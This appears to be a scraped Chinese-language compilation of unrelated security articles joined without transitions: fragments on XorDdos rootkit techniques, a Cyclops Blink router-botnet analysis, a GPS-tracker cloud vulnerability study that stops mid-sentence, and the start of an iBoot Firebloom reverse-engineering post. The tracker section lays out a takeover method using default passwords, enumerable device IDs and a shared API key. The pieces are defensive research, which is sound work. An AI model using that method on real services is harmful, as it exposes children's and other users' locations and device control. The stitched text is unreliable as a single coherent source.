基於XOR的加密顧名思義,XorDdos使用基於xor的加密來混淆數據。它調用dec_conf函數來使用XOR秘鑰“BB2FA36AAA9541F0”對編碼字符串進行解碼。下表顯示了在惡意軟件的各個模塊中用於執行其活動的混淆數據的解碼值。

7.png

進程名稱欺騙當一個進程啟動時,參數作為以null結尾的字符串提供給它的main函數,其中第一個參數始終是進程映像路徑。為了欺騙其進程名稱,XorDdos在運行時將所有參數緩衝區清零,並使用虛假命令行(例如catresolv.conf)覆蓋它的第一個包含圖像路徑的參數緩衝區。

8.png

通過修改與參數向量關聯的內存來實現進程名稱欺騙

9.png

'ps-aef'的輸出包含一個'catresolv.conf'條目

內核rootkit一些XorDdos示例安裝內核rootkit。 rootkit是一個內核模塊,通過修改操作系統數據結構來隱藏惡意代碼的存在。 XorDdos內核rootkit通常具有以下功能:

提供根訪問;

隱藏內核模塊;

隱藏惡意軟件的進程;

隱藏惡意軟件的網絡連接和端口;

根據在rootkit中發現的調試符號,XorDdos的rootkit代碼很可能受到了名為rooty的開源項目的啟發。下表描述了rootkit中的符號及其相應的功能:

10.png

進程和端口隱藏該惡意軟件試圖使用其內核rootkit組件隱藏其進程和端口。隱藏進程有助於惡意軟件規避基於規則的檢測。

/proc文件系統包含與所有正在運行的進程相關的信息。用戶模式的進程可以通過讀取/proc目錄來獲取任何與進程相關的信息,該目錄包含系統中每個正在運行的進程的子目錄,例如:

/proc/7728——包含與進程ID(PID)7728相關的信息;

/proc/698——包含PID698相關信息;

運行strace-eopenps命令檢查/proc/$pid上的open調用的踪跡,以獲取ps命令中正在運行的進程的信息。

11.png

如果惡意軟件隱藏了$pid特定目錄,它可以隱藏從用戶模式獲取相應進程。

在本例中,惡意軟件可以通過發送帶有附加信息的輸入和輸出控制(IOCTL)調用來與其rootkit組件/proc/rs_dev進行通信,以採取適當的措施。 IOCTL是用戶模式服務和內核設備驅動程序之間通信的一種方式。該惡意軟件使用數字“0x9748712”從系統中的其他IOCTL調用中唯一識別其IOCTL調用。

除了這個數字,它還傳遞一個整數數組。數組中的第一個條目對應於命令,第二個條目存儲要操作的值,例如$pid。

12.png

本文會詳細介紹針對華碩路由器的Cyclops Blink 惡意軟件變種的技術能力,並包括150 多個當前和歷史命令和控制(CC) 服務器的Cyclops Blink 殭屍網絡的列表。

最近一個名為Cyclops Blink的模塊化殭屍網絡對諸多型號的華碩路由器發起了攻擊。自2019年首次出現以來,該殭屍網絡最初針對的是WatchGuard Firebox設備。根據英國國家網絡安全中心(NCSC) 進行的分析,Cyclops Blink 是一種高級模塊化殭屍網絡,據報導與Sandworm 或Voodoo Bear 高級持續威脅(APT) 組織有關,最近已被用於攻擊WatchGuard Firebox 設備。我們獲得了針對華碩路由器的Cyclops Blink 惡意軟件系列的變種。

本報告討論了這個Cyclops Blink 惡意軟件變種的技術能力,並包括了Cyclops Blink 殭屍網絡的150 多個當前和歷史命令和控制(CC) 服務器的列表。此列表旨在幫助網絡安全防御者在其網絡中搜索受影響的設備並進行修復。追踪發現,儘管Cyclops Blink 是一個國家支持的殭屍網絡,但它的CC 服務器和木馬會影響不屬於關鍵組織的WatchGuard Firebox 和華碩設備,或者那些對經濟、政治或軍事間諜活動具有明顯價值的設備。

因此,我們認為Cyclops Blink 殭屍網絡的主要目的可能是為進一步攻擊高價值目標構建基礎設施。

Sandworm APT 組織被認為創建了Cyclops Blink 和VPNFilter 物聯網(IoT) 殭屍網絡。 VPNFilter 於2018 年首次被發現,專門針對路由器和存儲設備。據報導,它還感染了數十萬台設備。 2021 年,趨勢科技發布了VPNFilter 的技術分析,其中專門介紹了殭屍網絡在被發現兩年後如何繼續影響受感染的系統。

Sandworm 還對許多引人注目的攻擊負責,包括2015 年和2016 年對烏克蘭電網的攻擊、2017 年NotPetya 攻擊、2017 年法國總統競選、2018 年冬奧會奧運會毀滅者攻擊以及2018 年針對禁止化學武器組織。

Cyclops Blink 惡意軟件分析Cyclops Blink 是用C 語言編寫的模塊化惡意軟件。在其核心組件中,惡意軟件首先要做的是檢查其可執行文件名是否以'[k'開頭。如果沒有,它將執行以下例程:

1.它將stdout 和stderr 文件描述符重定向到/dev/null;

2.它為SIGTERM、SIGINT、SIGBUS、SIGPIPE 和SIGIO 信號設置默認處理程序;

3.它使用新的'[ktest]'進程名稱重新自我加載。

然後它會等待37 秒,然後再設置其硬編碼參數。這些包括硬編碼的CC 服務器和應該用於與CC 服務器通信的時間間隔。

它還通過調用pipe() 函數來創建用於進程間通信(IPC) 的管道,以獲取用於讀取和寫入數據的兩個文件描述符。它還通過使用ioctl() 為寫入文件描述符啟用非阻塞I/O。

之後,將在內存中創建一個新的數據包,然後將其發送到CC 服務器。本分析稍後將介紹此通信的詳細信息。

對於用於與CC 服務器通信的每個硬編碼TCP 端口,惡意軟件會在Netfilter(Linux 內核防火牆)中創建一個規則,使用libiptc1 中的iptc_insert_entry() 函數來允許與其進行輸出通信。規則具有以下參數:

1.png

由於未知原因,惡意軟件刪除了上述規則並再次創建它們,這次是通過system() 函數使用iptables 命令。命令如下:

2.png

然後對OpenSSL庫進行初始化,核心組件繼續初始化硬編碼的模塊。

模塊初始化在此期間,核心組件初始化模塊。通過管道與模塊進行通信。對於每個硬編碼的模塊,惡意軟件會在它們自己的子進程中執行之前創建兩個管道。

3.png

初始化模塊的函數

在下圖中,我們推斷出以下mod_t 結構:

4.png

推斷的mod_t 結構,最後一個成員未知。

參數然後初始化參數,它們由一個592 字節的結構組成,其中包含通過管道發送到模塊的基本信息。這些信息包括:

一個“p:”字符串頭;

核心部件的管道;

所有CC IP 地址和端口;

本地IP 地址;

CC服務器通信的時間間隔;

當下一個要發送到CC 服務器的數據包;

主進程PID;

硬編碼ID(0xA08F078B、0xBD0A5B36 和0xA244E5E2);

參數被推送到模塊,此時模塊被初始化。

CC 通訊從模塊獲取數據後,核心組件啟動加密程序,在將數據發送到CC 服務器之前對數據進行加密。

加密Cyclops Blink 使用動態加載的受感染設備中應該可用的OpenSSL 功能對數據進行加密。

數據使用AES-256 在密碼塊鏈接(CBC) 模式下使用隨機生成的256 位密鑰和128 位初始化向量(IV) 進行加密。然後使用每個樣本唯一的硬編碼RSA-2560(320 位)公鑰對其進行加密。

惡意軟件開發者決定使用EVP_SealInit() 函數。此函數執行所有上述加密步驟,包括隨機AES 密鑰和IV 生成。

CC服務器必須有相應的RSA私鑰才能解密數據。

加密後,如果數據包總長度大於98303 字節,則發送數據包。

數據傳輸為了向CC 服務器發送數據,核心組件在隨機TCP 端口上與隨機選擇的CC 服務器執行TLS 握手,兩者都來自硬編碼列表。

在選擇一個IP地址和一個TCP端口對之後,核心組件創建一個子進程來執行通信。子進程將連接到CC服務器,並向SSL套接字寫入四個字節。這四個字節是它想要發送的數據包大小。

5.png

子進程將四個字節寫入SSL 套接字

服務器必須用一個精確的四字節回答,也就是受害者的IPv4地址。

然後將10 個字節寫入核心組件管道。數據遵循特定格式。例如:

6.png

然後核心組件從CC 服務器接收更多數據。這一次,它希望使用硬編碼的RSA-2560 公鑰來解密加密的數據包。

惡意軟件需要一個響應,其中前四個字節是數據包的大小,後跟加密數據。

7.png

接收和解密來自CC服務器的數據的核心組件代碼

如果接收到某些內容,則將其解密並寫入到主管道。為了解密,該惡意軟件使用RSA_public_decrypt()函數,該函數利用RSA加密算法的“可逆性”解密用相應私鑰加密的數據。

最後,將更新一個變量,該變量包含下一次應該發送的數據包,並將所有的參數再次發送給模塊,這是因為核心組件可以從CC服務器接收新參數。

命令從CC服務器接收到的數據包括對核心組件本身或其模塊的命令。

首先,核心組件將受支持的命令發送到CC服務器,然後進入一個循環,在這個循環中它需要其中一個命令。

如果命令以核心組件為目標,它可以是以下之一:

0、終止程序;

1、繞過數據發送間隔,立即向CC服務器發送數據;

2、將新的CC 服務器添加到內存列表中;

3、設置發送下一個數據包到CC 服務器的時間;

4、設置發送下一個數據包到CC 服務器的時間;

5、添加一個新模塊(應該在命令之後收到一個ELF 文件);

6、重新加載惡意軟件;

7、設置本地IP地址參數;

8、設置新的worker ID;

9、設置未知字節值;

10、向所有正在運行的模塊重新發送配置;

模塊華碩(0x38)這個模塊可以從設備的閃存讀取和寫入,這些設備使用閃存來存儲操作系統、配置和文件系統中的所有文件。我們的研究是在RT-AC68U上進行的,但是其他華碩路由器如RT-AC56U也可能受到影響。然而,值得注意的是,由於惡意軟件本質上是模塊化的,它可以很容易地重新編譯以針對任何其他設備。事實上,這就是他們對WatchGuard 所做的,它是相同的代碼,但它已經為相關品牌重新編譯了。

首先,模塊檢查內容/proc/mtd 文件,該文件提供有關設備的內存技術設備(MTD) 子系統的一般信息。 MTD提供了一個抽象層來訪問設備的閃存。

惡意軟件查找字符串“linux”和“rootfs”,並使用printf()類格式讀取它:

8.png

模塊查找“linux”和“rootfs”字符串

推斷出的mdt_data_t結構如下:

9.png

mtd_data_t 結構

數據被讀取到這個結構中。 Asus RT-AC68U 設備的/proc/mtd 內容如下:

10.png

來自Asus RT-AC68U 路由器的典型/proc/mtd

因此,根據這個案例,惡意軟件會打開/dev/mtd2,這是存儲Linux 內核映像的分區。為什麼惡意軟件開發者決定讀取“linux”或“rootfs”分區是不清楚的。因為它們有完全不同的目的。前者保存操作系統,後者存儲程序的關鍵文件,如可執行文件、數據和庫。

Cyclops Blink 從閃存中讀取80 個字節,寫入主管道,然後進入循環等待命令替換分區內容:

11.png

Asus 模塊主循環

如果來自核心組件的數據以“p:”開頭,則表示它是該模塊的參數,將80字節寫入閃存,有效替換其內容。

寫入由j_save_data() 函數完成。它首先通過ioctl()調用正確地擦除NAND擦除塊,然後寫入新的內容,如下圖所示:

12.png

用於寫入原始閃存的Cyclops Blink Asus 模塊代碼

由於閃存內容是永久性的,因此該模塊可用於建立持久性和恢復出廠設置。

雖然它不能用作歸屬證明,但前面的代碼讓我們想起了VPNFilter 進程的第三階段代碼中的一個例程,稱為“dstr”,旨在“破壞”受感染的設備。除了刪除許多重要文件甚至嘗試刪除整個根文件系統之外,這個特定的VPNFilter 階段還會將許多0xff 字節寫入原始閃存:

13.png

用於寫入原始閃存的VPNFilter “dstr”第三階段代碼

系統偵察(0x08)該模塊負責將信息從受感染設備發送到CC 服務器。以下數據來自受感染的設備:

1.模塊通過調用uname() 函數和/etc/issue 文件獲得的Linux 版本;

2.有關設備內存消耗的信息,它通過調用sysinfo() 函數獲取;

3.SSD 存儲信息,通過調用statvfs() 函數獲取;

以下文件的內容:

/etc/passwd

/etc/group

/proc/mounts

/proc/partitions

4.有關網絡接口的信息,它通過使用SIOCGIFHWADDR 和SIOCGIFADDR 命令調用if_nameindex() 和iotctl() 函數來獲取。

文件下載(0x0f)該模塊可以從互聯網上下載文件。使用DNS over HTTPS (DoH) 執行DNS 解析。惡意軟件使用以下標頭向Google DNS 服務器(8.8.8.8) 發送HTTP POST 請求:

14.png

通過SSL 進行DNS 解析的HTTP POST 請求

該模塊似乎是NCSC 報告的Cyclops Blink 變體使用的同一模塊(0x0f) 的早期版本。模塊之間的主要區別如下:

1.該模塊沒有上傳功能;

2.該模塊使用控制標誌中的0x1位來指定是否應該通過HTTPS進行下載。

基礎設施我們已經能夠確定Cyclops Blink 殭屍網絡從受感染的WatchGuard 設備和華碩路由器中感染了路由器。這些受感染的設備會定期連接到CC 服務器,這些服務器本身託管在受感染的WatchGuard 設備上。我們有證據表明,除了華碩和WatchGuard 之外,至少有一家供應商的路由器也連接到了Cyclops Blink CC,但到目前為止,我們還無法收集該路由器品牌的惡意軟件樣本。

Cyclops Blink 殭屍網絡已經存在了一段時間。使用互聯網範圍掃描的歷史數據和SSL 證書數據,Cyclops Blink 很可能至少可以追溯到2019 年6 月。自2019 年6 月以來,該攻擊者已頒發了50 多個SSL 證書,用於WatchGuard CC 上各種TCP 端口(據我們所知,使用了以下TCP 端口:636、989、990、994、995、3269 和8443)。

在附錄A 中,出於防護需要,我們列出了Cyclops Blink 使用的活動和非活動CC。我們觀察到,一些WatchGuard 和Asus 木馬從未清理過,因為這些路由器仍會定期嘗試連接到受保護或脫機的舊CC。

15.png

為Cyclops Blink CC 頒發的多個SSL 證書的時間線

我們的調查顯示,全世界有200 多名Cyclops Blink 受害者。受感染的WatchGuard 設備和華碩路由器的典型國家是美國、印度、意大利、加拿大以及包括俄羅斯在內的一長串其他國家。應該指出的是,這些受害者似乎不是經濟、軍事或政治間諜活動的明顯有價值的目標。例如,一些實時CC 託管在歐洲的一家律師事務所、一家為南歐的牙醫生產醫療設備的中型公司和美國的一家管道工使用的WatchGuard 設備上。這與其他APT 組織(例如Pawn Storm)執行的暴力攻擊數量不斷增加是一致的,該組織已經破壞了許多資產,例如電子郵件地址和目標的電子郵件服務器,這些資產通常與Pawn Storm 的目標不一致。

16.png

緩解措施在過去幾年中,物聯網攻擊在全球範圍內不斷升級,互聯網路由器一直是主要目標之一。這些設備受到攻擊者的青睞有幾個原因:1.修補頻率低,2.缺乏安全軟件,3.防御者的可見性有限。一旦物聯網設備感染了惡意軟件,攻擊者就可以不受限制地訪問互聯網,下載和部署更多階段的惡意軟件,以進行偵察、間諜活動、代理或攻擊者想做的任何其他事情。

大多數物聯網設備的底層操作系統是Linux,許多強大的系統工具也使用它。這可以允許攻擊者添加他們可能需要完成攻擊的任何其他內容。在Cyclops Blink 的案例中,我們已經看到連續30 多個月(大約兩年半)被攻陷的設備被設置為其他木馬的穩定CC 服務器。

VPNFilter 的目標供應商是華碩、D-Link、華為、Linksys、MikroTik、Netgear、QNAP、TP-Link、Ubiquiti、UPVEL 和ZDE。在Cyclops Blink 的案例中,我們收到了針對華碩路由器的樣本,這些樣本之前沒有被報導過。我們分析的華碩Cyclops Blink 惡意軟件版本與之前討論的WatchGuard 版本相比存在一些差異。

我們分析的樣本是為ARM 編譯的,並與uClibc 動態鏈接。它們還包含一個專門針對華碩路由器的模塊。華碩可能只是目前Cyclops Blink 目標的供應商之一。我們有證據表明其他路由器也受到影響,但截至報告時,我們無法為WatchGuard 和華碩以外的路由器收集Cyclops Blink 惡意軟件樣本。根據我們的觀察,這些都是Cyclops Blink 攻擊者深思熟慮的。

此外,該殭屍網絡的目的仍不清楚:它是否旨在用於分佈式拒絕服務(DDoS) 攻擊、間諜活動或代理網絡仍有待觀察。但顯而易見的是,Cyclops Blink 是一種高級惡意軟件。隨著居家辦公增多,間諜活動可能是物聯網設備仍然是高級攻擊者的主要目標的部分原因。受到攻擊的路由器越多,攻擊者可以使用的強大數據收集來源以及進一步攻擊的途徑就越多。擁有分佈式基礎設施也使網絡安全團隊更難以消除整個攻擊。

這也是為什麼在兩年多之後,仍然有活動的VPNFilter 主機出現的原因。

如果懷疑某個組織的設備感染了Cyclops Blink,最好換個新路由器。執行恢復出廠設置可能會清除組織的配置,但不會清除攻擊者修改的底層操作系統。如果特定供應商的固件更新可以解決Cyclops Blink 攻擊或系統中的任何其他漏洞,組織應盡快應用這些更新。但是,在某些情況下,設備可能是報廢產品,供應商也不在提供更新。

在這種情況下,普通用戶將無法修復Cyclops Blink 感染。

0x01 背景描述在上一篇中,我發布了對在GPS跟踪設備網絡中發現的漏洞的深入分析。自從我向製造商深圳i365披露我的發現以來,已經過去了將近9個月。但是,到目前為止,我估計仍然有超過500萬種設備仍在野外使用,這些設備會暴露兒童、老年人、物質財產的精確實時GPS坐標。

你可能想知道這樣一個非常不安全的品牌如何被全球眾多消費者所購買。我發現,這個問題比向單個設備供應商披露一個漏洞要大得多。取而代之的是,我在研究的第一部分中詳細介紹了GPS跟踪器,實際上看到了供應鏈關係網,從而使安全問題從一個供應商到下一個呈指數增長。

在這篇後續文章中,我將通過詳細介紹GPS追踪器的基礎設施並解釋製造商與供應商與消費者之間的關係,來解釋這些廉價的仿製品牌的銷售範圍。

製造商才是真正生產跟踪器電子產品的一方,而賣方則是以軟件,應用程序或云解決方案的形式出售具有附加值的設備的一方。

首先,讓我回顧一下本研究的第一部分。

GPS跟踪器具有各種品牌和型號,並且具有多種用途。通常會打廣告宣傳它們,以追踪孩子在旅途中的位置,通常採用帶有麥克風/揚聲器或照相機的手錶形狀,以便與父母進行交流。我還分析了專為汽車設計的GPS跟踪器,有些型號甚至允許黑客連接到車輛的防盜裝置,從而遠程殺死引擎。我研究了衣領形狀的寵物追踪器,具有內置緊急呼叫功能的老年人追踪器以及鑰匙圈上的通用追踪器。所有這些跟踪器的共同點是基本的操作方案(如下圖所示)以及雲API中的一組漏洞,這些漏洞可能使攻擊者能夠完全控制設備。

img

典型的GPS追踪器系統示意圖

為了完全掌握這個漏洞的鏈路,我需要解釋供應鏈問題的實際含義。在當今的物聯網領域,首先要把新產品推向市場,而不是花時間加強其安全性。特別是在競爭激烈且供應商不太可能投資內部構建所有產品的廉價設備領域,解決方案是使用從第三方購買的各種組件來構建產品。那就是供應鏈。這不是一個新概念,製造一直以來都是這樣,但是如今安全研究人員擔心的是,通常無法保證產品的這些組成部分是安全的,

縱觀GPS追踪器市場,許多看起來很相似,但是由不同的供應商以不同的產品名稱出售。事實是,那裡有無數的追踪器,並且全部由中國的幾家工廠生產。如今,在中國以外著名的跟踪器製造商包括:

image.png

供應商通常是那些將不同來源的這三個主要組成部分進行出售和組合的供應商。我們試圖繪製所有製造商,解決方案提供商和供應商圖,但這是一個如此廣泛的網絡,以至於無法封裝所有這些信息。為了便於說明,典型的供應鏈如下所示:

img

供應鏈插圖

上圖非常簡單並且可以理解,但這是一個理想的世界。在現實世界中,此架構中有許多例外。例如,雲解決方案提供商也可能直接銷售帶有應用程序和硬件的最終解決方案,或者硬件工廠從另一位開發人員那裡獲取固件。

0x02 漏洞概述我發現i365品牌的追踪器存在很多問題:

1.默認登錄憑證該特定供應商的所有跟踪器均已預先配置為默認密碼123456,這是最不安全的密碼之一。沒有要求用戶對其進行更改。

image-20220323111014334.png

2.登錄未認證通過網絡未加密地登錄Web服務以及移動應用程序,因此任何人都可以截獲或更改。image-20220323111040074

image-20220323111040074.png

登錄到Web門戶的截圖,允許用戶控制和監視跟踪器

3.弱密碼登錄跟踪器的用戶名也已預先配置,沒有給用戶提供選擇用戶名的選項。實際上,分配的用戶名實際上只是設備的國際移動設備識別碼(IMEI)的一部分,可以很容易地進行迭代。此外,密碼已重新設置為123456。

image-20220323111054130.png

4.跟踪器和雲平台以純文本傳輸通過跟踪器的GPRS移動連接傳輸的數據未加密,並且缺少身份驗證。此外,跟踪器僅通過發送帶有預定義密碼的SMS純文本即可使攻擊者更改數據發送目的地的端點(IP地址和端口)。這種缺乏加密的機制使任何人都可以截取和修改通信,從而允許發生各種情況,例如數據洩漏,欺騙用戶的位置,發送惡意命令等等。

image-20220323111124255.png

GPS跟踪器和雲服務器之間捕獲的通信

5.雲框架API不安全遵循SOAP標准通信協議的API端點存在許多問題。大多數功能不需要事先驗證,設備的唯一標識符是一個六位數的數字,可以快速瀏覽與設備相關的數據,例如GPS歷史記錄或云平台中存儲的照片。任何人都可以調用API,缺少身份驗證。

image-20220323111144021 image-20220323111144021.png

要獲取存儲的照片,只需一個設備的ID(六位數字),密鑰是固定的

即使在這裡看到的Key 字段,它也不是通過登錄獲得的會話密鑰,實際上,該應用程序的內置密鑰已被接受。事實證明,該密鑰也由不同的供應商共享,指向一個公有云。

我提到這似乎不僅僅是一個中國供應商,這是一個更大的問題,但不幸的是,事實證明我是對的。

0x03 攻擊雲平台現在,讓我向你解釋為什麼我重新介紹了供應鏈。想像一下這種情況:有數十家GPS追踪器製造商生產了所有這些不同型號的追踪器,它們都帶有自己的固件,這些固件都具有自己的協議,因此他們要么創建自己的解決方案和應用,要么購買現成的解決方案。你會走哪條路?

因為我非常懷疑這不是一個孤立的問題,所以我在考慮從另一家製造商那裡購買汽車追踪器。

1.設備研究隨機搜索GPS跟踪器在互聯網上找到了下面這個:

image-20220323111258600.png

TK100車載GPS追踪器

根據製造商的網頁,該跟踪器能夠切斷汽車點火裝置的電源,在點火裝置打開時發送警報,以及所有標準功能,包括麥克風和揚聲器。但是我需要為此攻擊實驗購買它嗎?我決定進行虛擬分析,以證明對這些設備和配套應用程序中的任何一個進行正確的安全評估並不難。此外,為了證明我對此設備正在使用相同的後端服務的猜測。

第一步是獲取設備的操作手冊並下載配套應用程序。在製造商的網頁上,下面引起了我的注意:

image-20220323111330816.png

有一個Web門戶和Android app。首先看一下門戶:

image-20220323111343875.png

由於不知道確切的IMEI或車牌號,因為我實際上沒有購買,無法登錄,但至少讓我們看看這些登錄數據是如何通過網絡傳輸的。

img

通過網絡以純文本形式輸入的密碼和用戶名

看一下Android應用程序

image-20220323111421962 image-20220323111421962.png

Android App

沒有發現什麼信息,於是通過apklab .io進行分析:

image-20220323111512744 img

通過apklab.io靜態分析找到的URL字符串

通過對沒有物理設備的Android應用程序進行靜態分析,我發現了一個內置URL,該URL似乎正是我要尋找的URL,因此嘗試一下。

img

APK文件中URL的API

似乎很熟悉:

image-20220323111536973上一篇博文對i365的分析得出的API的截圖

好的,現在讓我們從GetDeviceDetail開始測試它們是否存在相同的漏洞:

img

具有常規參數的GetDeviceDetail API

使用先前應用程序中的內置密鑰並進行DeviceID猜測:

img

這證明所有這些跟踪器都有一個共同點:儘管這些跟踪器是由不同的製造商製造的,但似乎雲基礎架構是由同一家公司製造的。只是為了證明我的觀點,我下載了該手冊,儘管它看起來略有不同,但我得到了幫助:

img

你可以看到與之前的研究相同的模式,如何設置追踪器應該連接的服務器的IP地址和端口,以發送GPS數據和接收命令。

2.終極工具Google我們知道有多家供應商使用一種公有云框架,但是我們如何找到更多雲平台呢?有時候Google可以帶來豐碩的成果。我在Google上搜索了OpenAPv3.asmx,而且看起來似乎令人難以置信,我發現許多頁面的URL類似於我已經看到的格式。但是當我也發現這一點時,真是一個驚喜

image-20220323111558179.png

允許瀏覽服務器上的目錄

任何人都可以自由瀏覽它的方式打開站點不是一個很好的標準,所幸此頁面已被刪除。但這為我提供了有關API的結構以及在那裡可以找到的內容的線索。我在這裡註意到三件事:

1.日誌目錄是可瀏覽的,這可以為我提供有關整個後端系統來自何處的更詳細的提示

2.API有多種版本,事實證明它們都在訪問相同的OpenAPIV1-V4數據。

3.ZKImages文件夾是不言自明的,包含大量GPS追踪器使用內置攝像頭拍攝的圖像

日誌目錄是引起我注意的第一件事。

image-20220323111613941.png

如你所見,日誌是最新的

image-20220323111630210.png

嘗試連接到數據庫時,SQL客戶端中的某些異常。但是,這裡最有價值的信息是實現框架的二進製文件的名稱。你知道信息安全領域中的所有災難都來自錯誤的代碼,糟糕的代碼通常來自程序員。因此,我決定效法這一點。除了它可能是很老的.NET二進製文件外,從二進製文件本身的名稱NewGPS2012.Logic中看不出什麼。因為之前通過Google搜到了很多信息,所以我再次嘗試了。

image-20220323111642620.png

我對結果感到非常驚訝,發現許多Google索引的日誌目錄為我提供了幾乎免費使用相同框架的域名列表,但其中一個很特別:

img

是的,有人剛剛留下了框架二進製文件的更新。在分析這些二進製文件時,我學到了很多東西,但是我發現的基本要點之一是在SendCommandAPI.dll文件中,該文件有詳盡的函數列表。

image-20220323111709616.png

很快,事實證明這是可以與GPS追踪器的所有不同製造商的所有不同型號進行通訊的通用API,整個事情就講得通了。如果你是硬件設備的製造商或供應商,則可能需要一個易於使用且兼容的雲解決方案。為了安全起見,我們不公開解決方案供應商的名稱,儘管並不難找到。

img

3.把所有東西都給我使用Web門戶登錄時,會將這些請求發送到包含以下內容DeviceID的API :

image-20220323111901980.png

一個奇怪的信息:

img

我們實際上沒有這些跟踪器的用戶帳戶。還記得唯一的用戶標識是IMEI或跟踪器的ID嗎?更令人擔憂的是,我有同一家公司的更多跟踪器,並且它們在響應中都具有完全相同的UserID。

進入API並深入了解它提供的OpenAPIV3.asmx功能:

img

試一下用戶名。所以我們只需輸入我們已經使用過多次的用戶ID和強制密鑰,就得到如下響應:

img

考慮到整個系統的安全性,我只是嘗試使用已經使用過很多次的密碼,這次我選擇通過“帳戶”登錄:

img

進入了供應商的控制面板,其中有所有已售出的跟踪器供我們使用。因此,用戶ID實際上是銷售商的用戶ID,他們向你出售了特定的跟踪器。

img

從這裡你可以完全控制追踪器。是的,你看對了,每頁有1026頁,10個跟踪器,讓你可以輕鬆控制10260台設備。例如,有一個重置密碼選項,你猜怎麼著,它不會要求你輸入新密碼;按下時,會將其設置為123456。

4.漏洞修復我們看到這些供應商沒有關心設備安全性。在撰寫本文時,供應商已發布了針對此bug的修復程序,但它更像是一個補丁程序。從現在開始,你將無法選擇123456密碼,並且如果已經擁有新的登錄名,則必須更改密碼123456。

img

好吧,事實證明這根本不是一個解決辦法,因為這些API端點未正確進行身份驗證。我們再看看OpenAPIv3.asmx API :

image-20220323111922827.png

它可能看起來很複雜,但實際上並不復雜。這裡更重要的是,在本例中,ID是用戶的ID,並且它也只是0-999999,這很容易枚舉。其餘的必填字段是已知的。因此,通過運行一個簡單的查詢,我們可以很容易地得到以下響應:

image-20220323111934743.png

注意結果集的大小。通過一次查詢,您將獲得分配給特定帳戶的所有設備。當你遍歷所有可能的用戶ID時,你會得到所有的用戶和設備。從那裡你可以得到你想要的任何信息,電話號碼,位置,用戶名,在這個端點下,還有來自你汽車OBD接口的數據,以及我在上一篇文章中向你展示的所有東西。最後但並非最不重要的一點是,你可以完全控制遠程設備,打電話或從追踪器發送短信。想像一下攻擊者能做什麼。例如,招募一大群移動設備向特定號碼發送短信,或在短信投票中操縱投票。

我已經研究這些不安全的GPS設備很長時間了,努力了解問題的嚴重性。到目前為止,我已經確定了30多個在互聯網

簡介歡迎來到Firebloom iBoot系列文章的第二篇。在上一篇文章中,我們為讀者詳細介紹了Firebloom在iBoot中的實現方式,內存分配的表現形式,以及編譯器是如何使用它們的。現在,讓我們首先回顧一下用於描述內存分配的結構體:

00000000safe_allocationstruc;(sizeof=0x20,mappedto_1)

00000000raw_ptrDCQ?

00000008lower_bound_ptrDCQ?

00000010upper_bound_ptrDCQ?

00000018typeDCQ?

00000020safe_allocationends在上一篇文章中,我們重點介紹了Firebloom是如何使用lower_bound_ptr和upper_bound_ptr指針的,它們主要用於為內存空間提供安全保護,即防止任何形式的後向/前向越界訪問。在這篇文章中,我們將重點介紹type指針。

我們強烈建議讀者在閱讀這篇博文之前,首先閱讀我們的第一篇文章,以了解相關的背景知識。和上一篇文章一樣,我們的研究工作是在iBoot.d53g.RELEASE.im4p上進行的,對應於安裝了ios 14.4(18D52)系統的iPhone 12機器。

繼續我們的逆向之旅在之前的文章中,我們為讀者介紹過do_safe_allocation函數,其所用是封裝內存分配API並對safe_allocation結構體進行初始化,其中偏移量+0x18處的指針指向了一些描述類型信息的結構體。我們還通過一個例子表明,在使用分配的內存之前,系統會通過該指針進行相應的類型檢查。現在,是時候看看這種功能是如何工作的,以及這個type指針起到了那些作用。

我發現許多與type指針有關的邏輯(類型轉換、在安全分配的內存之間進行複制,等等),這些邏輯真的值得我們逆向研究一番。我想最好是從構件開始,然後逐級而上。

複製指針與內存為了幫助大家理解,我們決定從一些例子入手。為此,讓我們從panic_memcpy_bad_type開始進行逆向——它是do_firebloom_panic的11個交叉引用之一。

iBoot:00000001FC1AA818panic_memcpy_bad_type;CODEXREF:call_panic_memcpy_bad_type+3C↑p

iBoot:00000001FC1AA818

iBoot:00000001FC1AA818var_20=-0x20

iBoot:00000001FC1AA818var_10=-0x10

iBoot:00000001FC1AA818var_s0=0

iBoot:00000001FC1AA818

iBoot:00000001FC1AA818PACIBSP

iBoot:00000001FC1AA81CSTPX22,X21,[SP,#-0x10+var_20]!

iBoot:00000001FC1AA820STPX20,X19,[SP,#0x20+var_10]

iBoot:00000001FC1AA824STPX29,X30,[SP,#0x20+var_s0]

iBoot:00000001FC1AA828ADDX29,SP,#0x20

iBoot:00000001FC1AA82CMOVX19,X2

iBoot:00000001FC1AA830MOVX20,X1

iBoot:00000001FC1AA834MOVX21,X0

iBoot:00000001FC1AA838ADRPX8,#0x1FC2F2248@PAGE

iBoot:00000001FC1AA83CLDRX8,[X8,#0x1FC2F2248@PAGEOFF]

iBoot:00000001FC1AA840CBZX8,loc_1FC1AA848

iBoot:00000001FC1AA844BLRAAZX8

iBoot:00000001FC1AA848

iBoot:00000001FC1AA848loc_1FC1AA848;CODEXREF:panic_memcpy_bad_type+28↑j

iBoot:00000001FC1AA848ADRX0,aMemcpyBadType;'memcpy_bad_type'

iBoot:00000001FC1AA84CNOP

iBoot:00000001FC1AA850MOVX1,X21

iBoot:00000001FC1AA854MOVX2,X20

iBoot:00000001FC1AA858MOVX3,X19

iBoot:00000001FC1AA85CBLdo_firebloom_panic

iBoot:00000001FC1AA85C;Endoffunctionpanic_memcpy_bad_type我們將從最簡單的東西開始,即復制指針的操作。

在我之前的文章中,我特別指出:現在復制一個指針(即進行指針賦值)需要移動一個由4個64位值組成的元組。通常來說,我們可以將其視為是2個LDP與2個STP指令。現在,我們通過下面的函數來舉例說明:

iBoot:00000001FC15AD74move_safe_allocation_x20_to_x19;CODEXREF:sub_1FC15A7E0+78↑p

iBoot:00000001FC15AD74;wrap_memset_type_safe+68↑p.

iBoot:00000001FC15AD74LDPX8,X9,[X20]

iBoot:00000001FC15AD78LDPX10,X11,[X20,#0x10]

iBoot:00000001FC15AD7CSTPX10,X11,[X19,#0x10]

iBoot:00000001FC15AD80STPX8,X9,[X19]

iBoot:00000001FC15AD84RET

iBoot:00000001FC15AD84;Endoffunctionmove_safe_allocation_x20_to_x19如今,這種由2個LDP指令和2個STP指令組成的模式,在iBoot中是非常常見的(這是很正常的,因為指針賦值經常發生),所以,我們會在許多地方看到這樣的內聯代碼。雖然這對於指針賦值很有用,但在許多情況下,我們想要做的卻是複制內容——例如,調用memcpy的時候。因此,有趣的事情就出現了:是否應該允許在兩個“safe_allocations”內存之間調用memcpy?

理論上,我們可以執行下面的代碼:

